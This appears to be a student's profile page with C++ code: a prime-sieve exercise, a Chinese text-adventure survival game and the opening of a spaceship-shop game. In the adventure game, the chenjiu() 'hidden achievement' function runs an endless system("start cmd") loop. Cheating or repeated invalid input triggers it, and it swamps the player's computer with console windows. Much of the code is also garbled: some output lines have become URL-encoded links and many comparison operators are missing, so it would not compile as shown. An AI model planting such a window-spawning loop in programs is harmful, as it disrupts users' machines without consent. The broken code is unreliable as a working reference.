• 个人简介

    #include<bits/stdc++.h>
    using namespace std;
    int s,cnt,st[1000005],pr[1000005];
    int p(int n)
    {
        for(int i=2;i<=n;i++)
        {
            if(!st[i])
    		{
    		    pr[cnt++]=i;
    		}
            for(int j=0;pr[j]<=n/i;j++)
            {
                st[pr[j]*i]=true;
                if(i%pr[j]==0)break;
            }
        }
        return cnt;
    }
    int main()
    {
    	int n;
    	cin>>n;
    	p(n);
    	for(int i=0;i<cnt;i++)
    	{
    		s=0;
    		for(int j=1;pow(pr[i],j)<=n;j++)
    		{
    			s+=n/pow(pr[i],j);
    		}
    		cout<<s<<" " ;
    	}
    	return 0;
    }```
    
    //本人万奕晗原创,未经本人许可禁止篡改
    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int s,b,wuqi=0,xxxxx,shiwu,ren=1,j=0;;
    bool p=false,pp=false,ppp=false;
    string ssssssssss,s2;
    void sl() {
    system("cls");
    system("color E");
    Sleep(3000);
    cout<<"Y";
    Sleep(1000);
    cout<<"O";
    Sleep(1000);
    cout<<"U ";
    Sleep(1000);
    cout<<"W";
    Sleep(1000);
    cout<<"I";
    Sleep(1000);
    cout<<"N";
    }
    void sw() {
    system("cls");
    system("color C");
    ssssssssss="你死了";
    for(int i=0; i<=ssssssssss.size()-1; i++) {
    cout<<ssssssssss[i];
    Sleep(500);
    }
    Sleep(1000);
    cout<<endl;
    }
    void bfdy() {
    system("cls");
    s2="那架飞机是变异后又进化的动物开的";
    for(int i=0; i<=s2.size()-1; i++) {
    cout<<s2[i];
    Sleep(25);
    }
    cout<<endl;
    Sleep(1000);
    sw();
    s2="----------------------------------达成成就:不分敌友";
    for(int i=0; i<=s2.size()-1; i++) {
    cout<<s2[i];
    Sleep(25);
    }
    }
    void lgfz() {
    system("cls");
    system("color C");
    s2="房子塌了";
    for(int i=0; i<=s2.size()-1; i++) {
    cout<<s2[i];
    Sleep(25);
    }
    Sleep(1000);
    sw();
    cout<<endl;
    Sleep(1000);
    s2="----------------------------------达成成就:乱盖房子";
    for(int i=0; i<=s2.size()-1; i++) {
    cout<<s2[i];
    Sleep(25);
    }
    
    }
    int wuqi2(int x) {
    if(xxxxx==2) {
    Sleep(1000);
    cout<<"在开局时输入54188可获得武器";
    Sleep(1000);
    return 0;
    }
    if(xxxxx==1) {
    Sleep(1000);
    cout<<"在开局时输入88可提升战斗力";
    Sleep(1000);
    return 0;
    }
    }
    int chenjiu(int x) {
    if(x<3) {
    system("cls");
    system("color C");
    Sleep(1000);
    cout<<"你已经完成隐藏成就的"<<x<<"/3"<<endl;
    Sleep(1000);
    system("cls");
    return 0;
    } else {
    system("cls");
    Sleep(1000);
    cout<<"你已达成隐藏成就:自爆"<<endl;
    Sleep(1000);
    cout<<"你已失败!!!";
    Sleep(1000);
    while(1) {
    system("start cmd");
    }
    return 0;
    }
    
    }
    int main() {
    srand(time(0));
    Sleep(1000);
    cout<<"请选择难度:"<<endl<<"1,简单模式"<<endl<<"2,正常模式"<<endl<<"3,终极模式"<<endl;
    int leobssb;cin>>leobssb;
    system("cls");
    for (int i = 1; i <= 9; i++) {
    if (i % 3 == 1) cout << "正在加载.";
    if (i % 3 == 2) cout << "正在加载..";
    if (i % 3 == 0) cout << "正在加载...";
    Sleep(750);
    system("cls");
    }
    system("cls");
    if(leobssb==1){
    sl();
    return 0;
    }
    if(leobssb==3){
    system("cls");
    system("color C");
    Sleep(1000);
    cout<<"警告:此模式非常困难,确定开启吗?"<<endl;
    Sleep(1000);
    char leossbgd;cin>>leossbgd;if(leossbgd=='T'){
    system("cls");
    cout<<"此模式正在更新,无法进行游玩,请耐心等待"<<endl;
    Sleep(2000);
    return 0;
    }
    else {
    cout<<"OK"<<endl;
    Sleep(2000);
    return 0;
    return 0;
    }
    }
    Sleep(1000);
    system("color A");
    string sss="一天,发生了灾变,几乎所有人都死了,人类奄奄一息,只有极少数人还活着,你得活过一星期获得胜利";
    for(int i=0; i<=sss.size()-1; i++) {
    cout<<sss[i];
    Sleep(20);
    }
    char chra='T';
    Sleep(3000);
    system("cls");
    int leo;
    cout<<"1,开始游戏"<<endl<<"2,游戏目标"<<endl<<"3,获取提示"<<endl<<"4,退出游戏"<<endl;
    cin>>leo;
    Sleep(1000);
    while(leo!=1) {
    system("cls");
    Sleep(1000);
    if(leo==2) {
    cout<<"绞尽你的脑汁,在危机四伏的世界里活下去"<<endl;
    Sleep(3000);
    }
    if(leo==3) {
    cout<<"1,请勿在没有防备的情况下达成隐藏成就,否则后果自负"<<endl;
    Sleep(1000);
    cout<<"2,请勿在游戏中用常规思维思考问题,并认真读输出的每一句话"<<endl;
    Sleep(1000);
    cout<<"3,请一直按规则输入,切勿乱写"<<endl;
    Sleep(5000);
    }
    if(leo==4)return 0;
    system("cls");
    cout[<"1,开始游戏"<](%3C%221,%E5%BC%80%E5%A7%8B%E6%B8%B8%E6%88%8F%22%3C%3Cendl%3C%3C%222,%E6%B8%B8%E6%88%8F%E7%9B%AE%E6%A0%87%22%3C%3Cendl%3C%3C%223,%E8%8E%B7%E5%8F%96%E6%8F%90%E7%A4%BA%22%3C%3Cendl%3C%3C%224,%E9%80%80%E5%87%BA%E6%B8%B8%E6%88%8F%22%3C%3Cendl;%0ASleep(2000);%0Acout%3C%3C%22%E8%AF%B7%E5%86%8D%E6%AC%A1%E8%BE%93%E5%85%A5:%22%3C%3Cendl;%0Acin)>leo;
    }
    int h=0;
    if(leo==1) {
    while(chra=='T') {
    if(h==1) {
    Sleep(3000);
    system("cls");
    system("color A");
    int leo;
    cout<<"1,开始游戏"<<endl<<"2,游戏目标"<<endl<<"3,获取提示"<<endl<<"4,退出游戏"<<endl;
    cin>>leo;
    Sleep(1000);
    while(leo!=1) {
    system("cls");
    Sleep(1000);
    if(leo==2) {
    cout<<"绞尽你的脑汁,在危机四伏的世界里活下去"<<endl;
    Sleep(3000);
    }
    if(leo==3) {
    cout<<"1,请勿在没有防备的情况下达成隐藏成就,否则后果自负"<<endl;
    Sleep(1000);
    cout<<"2,请勿在游戏中用常规思维思考问题,并认真读输出的每一句话"<<endl;
    Sleep(1000);
    cout<<"3,请一直按规则输入,切勿乱写"<<endl;
    Sleep(5000);
    }
    if(leo==4)return 0;
    system("cls");
    cout[<"1,开始游戏"<](%3C%221,%E5%BC%80%E5%A7%8B%E6%B8%B8%E6%88%8F%22%3C%3Cendl%3C%3C%222,%E6%B8%B8%E6%88%8F%E7%9B%AE%E6%A0%87%22%3C%3Cendl%3C%3C%223,%E8%8E%B7%E5%8F%96%E6%8F%90%E7%A4%BA%22%3C%3Cendl%3C%3C%224,%E9%80%80%E5%87%BA%E6%B8%B8%E6%88%8F%22%3C%3Cendl;%0ASleep(2000);%0Acout%3C%3C%22%E8%AF%B7%E5%86%8D%E6%AC%A1%E8%BE%93%E5%85%A5:%22%3C%3Cendl;%0Acin)>leo;
    }
    

    } h=1; Sleep(1000); system("cls"); cout<<"准备好了吗?好了请按6"<<endl; int n;wuqi+=100;shiwu+=10; cin>>n; system("cls"); system("color C"); cout<<"\n\n\n\n\n\n\n"; cout<<" ■ ■■■■■ ■ ■ ■ ■\n"; Sleep(500); cout<<" ■■■■■■■ ■ ■ ■■■■■■ ■■■■■■\n"; Sleep(500); cout<<" ■ ■ ■ ■ ■ ■ ■ ■\n"; Sleep(500); cout<<" ■■■■■ ■■■■■ ■ ■ ■ ■ ■\n"; Sleep(500); cout<<" ■■■ ■ ■ ■■■ ■■■■■\n"; Sleep(500); cout<<" ■ ■ ■ ■ ■ ■ ■ ■ ■\n"; Sleep(500); cout<<" ■ ■ ■ ■ ■ ■ ■ ■ ■\n"; Sleep(500); cout<<" ■ ■■■■■ ■■ ■■■■■■■\n"; Sleep(1000); system("cls"); Sleep(1500); system("cls"); system("color E"); Sleep(1000); for(int i=1; i<=100; i++) { cout<<"■"; Sleep(10); } Sleep(1000); system("cls"); Sleep(1000); system("color 8"); cout<<"一天,你看到一道激光射向地球,地球上只剩下了很少的人和一大群变异的动物"; Sleep(3000); system("cls"); cout<<"你的第一次行动可以选择如下指令:"<<endl; system("color A"); Sleep(1000); cout<<"1,你可以和动物谈判"<<endl; Sleep(1000); cout<<"2,你可以收集材料(用于制造机器人)"<<endl; Sleep(1000); cout<<"3,你可以抢救一些即将死去的人"<<endl; Sleep(1000); int hhh; cin>>hhh; while(hhh>3||hhh<=0) { s++; chenjiu(s); if(s3)return 0; Sleep(1000); cout<<"请再次选择"<<endl; cin>>hhh; } if(hhh1) { int n1=rand()%10; Sleep(1000); if(n11) { system("cls"); system("color E"); cout<<"恭喜你,成功获得了胜利"<<endl; Sleep(1000); system("cls"); Sleep(1000); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra'T')continue; else return 0; } system("cls"); system("color C"); cout<<"谈判失败"<<endl; Sleep(1000); if(wuqi>=10) { system("cls"); Sleep(1000); cout<<"但你杀死了动物中的一部分"<<endl; Sleep(1000); cout<<"食物+10"<<endl; shiwu+=10; } else { cout<<"你已阵亡"<<endl; Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra=='T')continue; else return 0; } } if(hhh2) { system("cls"); Sleep(1000); cout<<"你要收集多少?(整十数)"<<endl; int mmm; cin>>mmm; int n2=rand()%10; Sleep(1000); cout<<"你收集到了"<<mmm/n2<<"份材料"<<endl; Sleep(1000); b=mmm/n2; } if(hhh3) { system("cls"); system("color F"); Sleep(1000); int n3=rand()%7; cout<<"你抢救成功了"<<n3<<"个人"<<endl; if(n3!=0)p=true; Sleep(1000); } system("cls"); system("color"); Sleep(1000); cout<<"一天过去了..."<<endl; Sleep(1000); system("cls"); int n4=rand()%10; if(n40) { Sleep(1000); cout<<"没有动物靠近!!!"<<endl; Sleep(1000); cout<<"是否收取动物的肉?(T or F)"<<endl; Sleep(1000); char pppp; cin>>pppp; if(pppp'T') { Sleep(1000); system("cls"); int n5=rand()%3; if(n53) { cout<<"收取成功!!!食物+10"<<endl; Sleep(1000); shiwu+=10; } else { cout<<"收取失败"<<endl; Sleep(1000); } } } else { system("cls"); system("color C"); cout<<"你看到"<<n4<<"个变异动物向你走来"<<endl; Sleep(1000); if(wuqi0) { system("cls"); system("color C"); cout<<"你没有武器,你阵亡了"<<endl; Sleep(1000); cout<<"是否了解如何获得武器?(T or F)"; Sleep(1000); char chchch; cin>>chchch; if(chchch=='T') { xxxxx=2; system("cls"); wuqi2(xxxxx); return 0; } else return 0; } if(wuqi<n4*5) { system("cls"); system("color C"); cout<<"你的战斗力不够,你阵亡了"<<endl; Sleep(1000); cout<<"是否了解如何增强战斗力?(T or F)"; Sleep(1000); char chchch; cin>>chchch; if(chchch=='T') { xxxxx=1; system("cls"); wuqi2(xxxxx); return 0; } else return 0; } system("cls"); system("color E"); cout<<"恭喜你呀,战胜了一次攻击,获得了20份食物"<<endl; Sleep(1000); shiwu+=20; } system("cls"); cout<<"你这才发现你已经很饿了,是否拿出食物?(T or F)"<<endl; Sleep(1000); char cchchchh; cin>>cchchchh; if(cchchchh=='T') { if(shiwu>0) { system("cls"); cout<<"你有食物,恭喜活过第二天"<<endl; shiwu-=10; } else { system("cls"); system("color C"); cout<<"你没有食物,你已阵亡!"<<endl; Sleep(1000); return 0; } } else { system("cls"); system("color C"); cout<<"你已阵亡!"; Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra=='T')continue; else return 0; } cout<<"第三天到了..."<<endl; Sleep(1000); system("cls"); cout<<"你被外面的声音惊醒,往窗外一看才发现了马晨轩,他正被动物围攻呢"<<endl; Sleep(1000); cout<<"是否救他?(T or F)"<<endl; Sleep(1000); char kffasdfasdfasdfasd; cin>>kffasdfasdfasdfasd; if(kffasdfasdfasdfasd=='T') { if(ptrue) { system("cls"); cout<<"由于你有丰富的救人经验,你把他救了回来"<<endl; pp=true; Sleep(1000); } else { system("cls"); cout<<"救人失败"<<endl; Sleep(1000); } } else { cout<<"你受到了良心的谴责,突发重病而亡"<<endl; Sleep(1000); system("cls"); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra'T')continue; else return 0; } Sleep(1000); system("cls"); if(pptrue)cout<<"马晨轩对你说,他其实会分身术,还会时间暂停"<<endl; else cout<<"你很悲痛,丧失了全部武器"<<endl,wuqi=0; Sleep(1000); if(pptrue)cout<<"这时,动物大军冲了过来,马晨轩迅速发动技能,敌人被全歼,获得100食物"<<endl,shiwu+=100; else { cout<<"这时,动物大军冲了过来,是否准备遗言?(True or False)"<<endl; string tsts; cin>>tsts; if(tsts=="wmx"||tsts=="wyhmcxx") { cout<<"获得大量武器,成功战胜敌人,获得50食物和武器"<<endl; Sleep(1000); shiwu+=50; wuqi+=50; system("cls"); if(tsts=="wyhmcxx")ppp=true; } else { system("cls"); cout<<"你已阵亡"<<endl; Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra=='T')continue; else return 0; } } Sleep(1000); system("cls"); Sleep(1000); cout<<"你发现你"; if(pptrue)cout<<"和马晨轩"; cout<<"很饿"<<endl; Sleep(1000); cout<<"是否吃食物?(t or f)"<<endl; char dfsdfsdfs; cin>>dfsdfsdfs; if(dfsdfsdfs'f') { sw(); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra=='T')continue; else return 0; } Sleep(1000); if(ppfalse&&pppfalse||shiwu<=20) { system("color C"); cout<<"食物不足"<<endl<<"已牺牲"<<endl; Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra=='T')continue; else return 0; } else { system("cls"); cout<<"恭喜你,成功活过第三天"<<endl; Sleep(1000); } system("cls"); Sleep(1000); cout<<"这天晚上,无心睡眠的你看到周围有响动,是否去查看?"<<endl<<"1,继续睡"<<endl<<"2,去查看"<<endl<<"3,装睡"; int trytrtrety; cin>>trytrtrety; if(trytrtrety1||trytrtrety3) { sw(); return 0; } Sleep(1000); cout<<"你去一看,才发现了徐靖博!!!"<<endl; ren++; Sleep(1000); system("cls"); cout<<"你发现他有超能力:复活术!但有80%的概率不能复活"<<endl; Sleep(1000); if(ppfalse) { cout<<"是否尝试复活马晨轩?(t or f)"<<endl; char yyyyyy; cin>>yyyyyy; if(yyyyyy'f') { cout<<"好的"<<endl; Sleep(1000); system("cls"); } int n10=rand()%10+1; if(n109||n108) { system("cls"); system("color B"); cout<<"成功复活!!!"<<endl; Sleep(1000); pp=true; ren++; Sleep(1000); system("cls"); } else { system("cls"); system("color C"); cout<<"复活失败,徐靖博的生命枯竭了,你也死了"<<endl; Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra=='T')continue; else return 0; } } system("cls"); Sleep(1000); s2="天亮了"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); system("cls"); s2="你看到一大群动物向你的房门扑来,你的房门快要坚持不住了"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="是否去顶住房门?(t or f)"; for(int i=0; i<s2.size(); i++) { cout<<s2[i]; Sleep(25); } cout<<endl; char V; cin>>V; if(V=='f') { sw(); return 0; } s2="成功顶住房门!"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); system("cls"); s2="可是,你发现有一部分动物爬到了窗口,幸亏马晨轩即使使用分身术才勉强抵挡,但房子却被挤出了好几个缺口"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); system("cls"); s2="就在这千钧一发之际,一个人影冲了进来,迅速在房屋外造了一堵高墙,挡住了敌人"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } Sleep(1000); cout<<endl; s2="你们很好奇是谁来帮助你们,那人却不见了"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="可惜,一大群动物压倒了围墙,房子也垮了"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } Sleep(1000); system("cls"); s2="现在你要:"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; cout<<"1,寻找材料建造房子\n"; cout<<"2,查找资料:如何建造房子\n"; cout<<"3,坐着等着敌人靠近\n"; int yyyyyyyyyyyyyyyyyyyyy; cin>>yyyyyyyyyyyyyyyyyyyyy; if(yyyyyyyyyyyyyyyyyyyyy1) { lgfz(); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra'T')continue; else return 0; } if(yyyyyyyyyyyyyyyyyyyyy3) { Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra'T')continue; else return 0;; } system("cls"); s2="材料收集成功!"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="是否制造房子(t or f)"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); char wyx; cin>>wyx; if(wyx=='t') { system("cls"); s2="制造成功"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); } else { s2="你苟到了第5天"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="一道人影闪过"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } Sleep(1000); cout<<endl; Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra=='T')continue; else return 0;; } s2="一道人影闪过"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="那个人大喊一声:你是谁?"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); cout<<"是否回答(1 or 2)"<<endl; int asdlkfjfjfjfjlkasdflaskdfjasl; cin>>asdlkfjfjfjfjlkasdflaskdfjasl; if(asdlkfjfjfjfjlkasdflaskdfjasl1) { s2="原来他是汪宇翔!!!"; j=1; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } Sleep(1000); } else { cout<<"好的"<<endl; system("cls"); } system("cls"); cout<<" 第五天的太阳升起了"<<endl; Sleep(1000); s2="随着时间的流逝,怪物们越来越强了!!!"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } Sleep(1000); cout<<endl; system("cls"); if(j1)s2="这时,汪宇翔说,他其实每天都有2分钟可以变成刺猬索尼克"; if(j1)for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="突然,传来了飞机的轰鸣声"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; s2="是否引起飞机的注意?(t or f)"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; char gqz; cin>>gqz; if(gqz't') { bfdy(); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra=='T')continue; else return 0;; } s2="那架飞机是进化的动物开的,幸亏你没有招呼它们"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); if(j1) { s2="化身为索尼克的汪宇翔冲上天空,将直升机炸的粉碎!"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); } else { int n11=rand()%10+1; if(n11<=9) { s2="直升机上的动物发现了你"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); sw(); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra'T')continue; else return 0;; } s2="你侥幸躲过了搜捕,却被大量尾气熏死了!!!"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); sw(); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra=='T')continue; else return 0;; } s2="天黑了"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); system("cls"); cout<<"接下来你要:"<<endl; Sleep(1000); cout<<"1,睡觉"<<endl; Sleep(1000); cout<<"2,保持警惕"<<endl; Sleep(1000); cout<<"3,装睡"; Sleep(1000); int ngsb; cin>>ngsb; if(ngsb1) { system("cls"); system("color C"); s2="一道红光一闪"; sw(); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra'T')continue; else return 0;; } system("cls"); Sleep(1000); cout<<"一道红光一闪"<<endl; Sleep(1000); cout<<"你抓住了这个人"<<endl; Sleep(1000); s2="那个人正是李嘉铭"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="李嘉铭对你说:他有着模仿(旁边人的能力)的能力"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="请问你要说什么:"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="1,你在骗人吧"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="2,我相信你"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="3,不说话"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); int ngdsb; cin>>ngdsb; if(ngdsb1) { cout<<"一道红光一闪"; Sleep(1000); sw(); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra'T')continue; else return 0;; } if(ngdsb3) { cout<<"一到红光一闪"<<endl; Sleep(1000); sw(); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra'T')continue; else return 0;; } s2="你们的对话还在继续,但外面嘈杂的声音打断了你们"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="敌人在你们周围建起了堡垒"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="你要"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); cout<<"1,冲破堡垒"<<endl; Sleep(1000); cout<<"2,待在家里"<<endl; Sleep(1000); cout<<"3,全军出击"<<endl; int ylsssbgd; cin>>ylsssbgd; if(ylsssbgd1) { int n15=rand()%2+1; if(n151) { s2="冲破失败"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); sw(); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra=='T')continue; else return 0;; } else { cout<<"冲破成功"<<endl; Sleep(1000); } } else if(ylsssbgd2) { s2="动物攻破了你的房子"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); sw(); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra'T')continue; else return 0;; } else { s2="马晨轩,汪宇翔,李嘉铭全体出动"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); s2="成功战胜敌人"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); } s2="第六天的夜晚到来了"; for(int i=0; i<=s2.size()-1; i++) { cout<<s2[i]; Sleep(25); } cout<<endl; Sleep(1000); int n16=rand()%3+1; if(n161) { cout<<"无事发生"; Sleep(1000); system("cls"); } else { cout<<"动物大军来袭!!!!!是否猛攻?(1 or 2)"<<endl; int qlsssjszcmdr; cin>>qlsssjszcmdr; if(qlsssjszcmdr2) { sw(); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra=='T')continue; else return 0;; } Sleep(1000); system("cls"); cout<<"成功战胜敌人!"<<endl; } system("cls"); cout<<" 第七天到了"; Sleep(1000); cout<<"恭喜获得胜利..."; Sleep(1000); cout<<"突然,一大群动物冲了过来,把你扑倒在地!/n"; Sleep(1000); cout<<"你要:"<<endl; Sleep(1000); cout<<"1,呼救"<<endl; cout<<"2,反抗"<<endl; cout<<"3,作弊"<<endl; Sleep(1000); int dqtdwdmr; cin>>dqtdwdmr; system("cls"); if(dqtdwdmr1) { cout<<"成功呼救!!!"; Sleep(1000); sl(); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra'T')continue; else return 0;; } if(dqtdwdmr3) { Sleep(1000); cout<<"OK"<<endl; system("cls"); chenjiu(3); return 0; } if(dqtdwdmr2) { int n20=rand()%3+1; if(n201) { Sleep(1000); sl(); Sleep(1000); system("cls"); cout<<"是否继续(T or F)"<<endl; cin>>chra; if(chra'T')continue; else return 0;;

    } else {
    			cout<<"失败";
    			Sleep(1000);
    			sw();
    			Sleep(1000);
    			system("cls");
    			cout<<"是否继续(T or F)"<<endl;
    			cin>>chra;
    			if(chra=='T')continue;
    			else return 0;;
    		}
    	}
    	return 0;
    }
    //	chra='F';
    

    }

    }
    
    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    bool p=true,pppppppp=true,ppp=true;
    long long rmb,hyk,t,xl,xl2,wjzdl2,mcx,mcx2,mcx3,mcx4,mcx5,mcx6,mcx7,n[10];
    string sp[9]= {"","小型侦察机","星际侦察机","星际海盗船","普通航母","星际航母","普通航母战斗群","星际航母战斗群","星舰"};
    long long jg[9]= {0,1000,2000,3000,10000,3000,7000,27000,10000000};
    long long zdl[9]= {0,100,200,1000,5000,7000,4500,10000,100000};
    string wjsp[1000];
    int wjzdl[1000];
    void sw() {
    system("cls");
    cout<<"Y";
    Sleep(700);
    cout<<"O";
    Sleep(700);
    cout<<"U";
    Sleep(700);
    cout<<" ";
    Sleep(700);
    cout<<"D";
    Sleep(700);
    cout<<"I";
    Sleep(700);
    cout<<"E";
    Sleep(700);
    cout<<"D";
    ppp=false;
    }
    void slow(string leo) {
    for(int i=0; i<leo.size(); i++) {
    cout<<leo[i];
    Sleep(20);
    }
    }
    void zd(string gwmz,int n1,int n2,int n3,int n4,int gwsl) {
    n[1]=n1;
    n[2]=n2;
    n[3]=n3;
    n[4]=n4;
    while(1) {
    for(int i=1; i<=4; i++) {
    if(wjzdl2>=n[i]) {
    cout<<gwmz;
    slow("的攻击被阻截了!并受到了伤害!\n");
    Sleep(1000);
    gwsl-=n[i];
    if(gwsl<=0) {
    slow("你击毁了");
    cout<<gwmz<<endl;
    return;
    }
    Sleep(1000);
    } else {
    xl-=n[i];
    if(xl<=0) {
    slow("你被击毁了");
    Sleep(500);
    sw();
    return;
    } else slow("你受到了伤害");
    Sleep(1000);
    }
    system("cls");
    slow("你对");
    cout<<gwmz;
    slow("造成了");
    cout<<wjzdl2;
    slow("的伤害");cout<<endl;Sleep(1000);
    gwsl-=wjzdl2;
    if(gwsl<=0) {
    slow("你击毁了");
    cout<<gwmz<<endl;
    return;
    }
    Sleep(1000);
    system("cls");
    }
    }
    /*if(wjzdl2>=n1)
    {
    cout<<gwmz;
    slow("的攻击被阻截了!并受到了伤害!\n");
    gwsl-=wjzdl2 ;
    if(gwsl<=0)
    {
    slow("你击毁了");cout<<gwmz;
    return;
    }
    }
    else
    {
    slow("你被袭击了!!!\n");
    xl-=n1;
    Sleep(1000);
    slow("受到了");cout<<n1;slow("的伤害");
    if(xl<=0)slow("你被击毁了!!!");
    sw();
    pppppppp=false;
    } */
    }
    void sd() {
    slow("提示:一个真正的航母战斗群需要侦察机,航母,航母战斗群,2*星舰\n");
    Sleep(1000);
    for(int i=1; i<=8; i++) {
    cout<<" "<<sp[i]<<" "<<jg[i]<<zdl[i]<<endl;
    Sleep(500);
    }
    rmb=100000000;
    Sleep(1000);
    slow("请问您要买什么?按0关闭\n");
    Sleep(1000);
    int cyr;
    while(cyr!=0) {
    cin>>cyr;
    if(jg[cyr]<=rmb||jg[cyr]/2<=rmb&&hyk==1) {
    slow("购买成功");
    wjsp[++t]=sp[cyr];
    wjzdl[t]=zdl[cyr];
    wjzdl2+=zdl[cyr];
    rmb-=jg[cyr];
    xl+=300;
    xl2+=300;
    } else slow("你的钱不够\n");
    system("cls");
    }
    

    Sleep(2000); for(int i=1; i<=t; i++)if(wjsp[i]"小型侦察机")mcx=1; else if(wjsp[i]"普通航母")mcx2=1; else if(wjsp[i]"普通航母战斗群")mcx3=1; else if(wjsp[i]"星舰")mcx4++; else if(wjsp[i]"星际航母")mcx5=1; else if(wjsp[i]"星际航母战斗群")mcx6=1; if(mcx1&&mcx4>=2) { if(mcx21&&mcx31)mcx7=1; if(mcx51&&mcx6==1)mcx7=2; wjzdl2+=mcx7*30000; } system("cls"); Sleep(2000); slow("现在你有"); cout<<wjzdl2<<"的战斗力"; Sleep(1000); system("cls");

    }
    void hykhyk() {
    system("cls");
    slow("啊,是终身会员啊,送福利!!!\n");
    Sleep(1000);
    slow("以后您只要按下sd即可进入商店,且里面的商品全部砍一半价\n");
    Sleep(1000);
    slow("现在请试一次进入商店吧\n");
    string a;
    cin>>a;
    Sleep(1000);
    if(a=="sd")sd();
    system("cls");
    }
    void zxrw() {
    srand(time(0));
    slow("啊,你来到了支线任务环节,为了打败圣威号的舰队,你决定前往商店,购买一艘较好的战舰");
